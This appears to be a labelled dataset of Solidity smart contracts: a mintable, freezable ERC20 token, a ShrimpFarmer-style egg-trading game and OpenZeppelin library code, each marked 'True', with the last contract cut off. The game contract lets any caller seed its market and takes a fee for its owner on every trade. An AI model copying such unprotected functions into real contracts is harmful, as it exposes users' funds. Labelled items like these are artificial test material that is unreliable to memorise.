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/** *Submitted for verification at Etherscan.io on 2021-08-07 */ /* * This file was generated by MyWish Platform (https://mywish.io/) * The complete code could be found at https://github.com/MyWishPlatform/ * Copyright (C) 2021 MyWish * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /* * This file was generated by MyWish Platform (https://mywish.io/) * The complete code could be found at https://github.com/MyWishPlatform/ * Copyright (C) 2020 MyWish * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { // freezing chains mapping (bytes32 => uint64) internal chains; // freezing amounts for each chain mapping (bytes32 => uint) internal freezings; // total freezing balance per address mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); /** * @dev Gets the balance of the specified address include freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } /** * @dev Gets the balance of the specified address without freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } /** * @dev gets freezing count * @param _addr Address of freeze tokens owner. */ function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } /** * @dev gets freezing end date and freezing balance for the freezing portion specified by index. * @param _addr Address of freeze tokens owner. * @param _index Freezing portion index. It ordered by release date descending. */ function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } /** * @dev freeze your tokens to the specified address. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to freeze. * @param _until Release date, must be in future. */ function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } /** * @dev release first available freezing tokens. */ function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } /** * @dev release all available for release freezing tokens. Gas usage is not deterministic! * @return how many tokens was released */ function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { // WISH masc to increase entropy result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, and(_release, 0xffffffffffffffff)) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { /** * @dev Mint the specified amount of token to the specified address and freeze it until the specified date. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to mint and freeze. * @param _until Release date, must be in future. * @return A boolean that indicates if the operation was successful. */ function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 0; uint8 public constant TOKEN_DECIMALS_UINT8 = 0; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Quantum Coin"; string public constant TOKEN_SYMBOL = "QTM"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x85013eFb9fC04db72753CD2CF8C1516eE1d3a051; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0x85013efb9fc04db72753cd2cf8c1516ee1d3a051)]; uint[1] memory amounts = [uint(43582000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }

True

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pragma solidity ^0.4.18; // solhint-disable-line // similar as shrimpfarmer, with three changes: // A. one third of your snails die when you sell eggs // B. you can transfer ownership of the devfee through sacrificing snails // C. the "free" 300 snails cost 0.001 eth (in line with the mining fee) // bots should have a harder time, and whales can compete for the devfee // http://ethfish.club/ contract ShrimpFarmer{ //uint256 EGGS_PER_SHRIMP_PER_SECOND=1; uint256 public EGGS_TO_HATCH_1SHRIMP=86400;//for final version should be seconds in a day uint256 public STARTING_SHRIMP=300; uint256 PSN=10000; uint256 PSNH=5000; bool public initialized=false; address public ceoAddress; mapping (address => uint256) public hatcheryShrimp; mapping (address => uint256) public claimedEggs; mapping (address => uint256) public lastHatch; mapping (address => address) public referrals; uint256 public marketEggs; uint256 public snailmasterReq=100000; function ShrimpFarmer() public{ ceoAddress=msg.sender; } function becomeSnailmaster() public{ require(initialized); require(hatcheryShrimp[msg.sender]>=snailmasterReq); //hatcheryShrimp[msg.sender]=SafeMath.sub(hatcheryShrimp[msg.sender],snailmasterReq); //snailmasterReq=SafeMath.add(snailmasterReq,100000);//+100k shrimps each time //ceoAddress=msg.sender; } function hatchEggs(address ref) public{ require(initialized); if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender){ referrals[msg.sender]=ref; } uint256 eggsUsed=getMyEggs(); uint256 newShrimp=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1SHRIMP); hatcheryShrimp[msg.sender]=SafeMath.add(hatcheryShrimp[msg.sender],newShrimp); claimedEggs[msg.sender]=0; lastHatch[msg.sender]=now; //send referral eggs claimedEggs[referrals[msg.sender]]=SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,5)); //boost market to nerf shrimp hoarding marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,10)); } function sellEggs() public{ require(initialized); uint256 hasEggs=getMyEggs(); uint256 eggValue=calculateEggSell(hasEggs); uint256 fee=devFee(eggValue); // kill one third of the owner's snails on egg sale hatcheryShrimp[msg.sender]=SafeMath.mul(SafeMath.div(hatcheryShrimp[msg.sender],3),2); claimedEggs[msg.sender]=0; lastHatch[msg.sender]=now; marketEggs=SafeMath.add(marketEggs,hasEggs); ceoAddress.transfer(fee); msg.sender.transfer(SafeMath.sub(eggValue,fee)); } function buyEggs() public payable{ require(initialized); uint256 eggsBought=calculateEggBuy(msg.value,SafeMath.sub(this.balance,msg.value)); eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought)); ceoAddress.transfer(devFee(msg.value)); claimedEggs[msg.sender]=SafeMath.add(claimedEggs[msg.sender],eggsBought); } //magic trade balancing algorithm function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){ //(PSN*bs)/(PSNH+((PSN*rs+PSNH*rt)/rt)); return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt))); } function calculateEggSell(uint256 eggs) public view returns(uint256){ return calculateTrade(eggs,marketEggs,this.balance); } function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){ return calculateTrade(eth,contractBalance,marketEggs); } function calculateEggBuySimple(uint256 eth) public view returns(uint256){ return calculateEggBuy(eth,this.balance); } function devFee(uint256 amount) public view returns(uint256){ return SafeMath.div(SafeMath.mul(amount,4),100); } function seedMarket(uint256 eggs) public payable{ require(marketEggs==0); initialized=true; marketEggs=eggs; } function getFreeShrimp() public{ require(initialized); //require(msg.value==0.001 ether); //similar to mining fee, prevents bots //ceoAddress.transfer(msg.value); //snailmaster gets this entrance fee require(hatcheryShrimp[msg.sender]==0); lastHatch[msg.sender]=now; hatcheryShrimp[msg.sender]=STARTING_SHRIMP; } function getBalance() public view returns(uint256){ return this.balance; } function getMyShrimp() public view returns(uint256){ return hatcheryShrimp[msg.sender]; } function getSnailmasterReq() public view returns(uint256){ return snailmasterReq; } function getMyEggs() public view returns(uint256){ return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender)); } function getEggsSinceLastHatch(address adr) public view returns(uint256){ uint256 secondsPassed=min(EGGS_TO_HATCH_1SHRIMP,SafeMath.sub(now,lastHatch[adr])); return SafeMath.mul(secondsPassed,hatcheryShrimp[adr]); } function min(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-01-13 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address 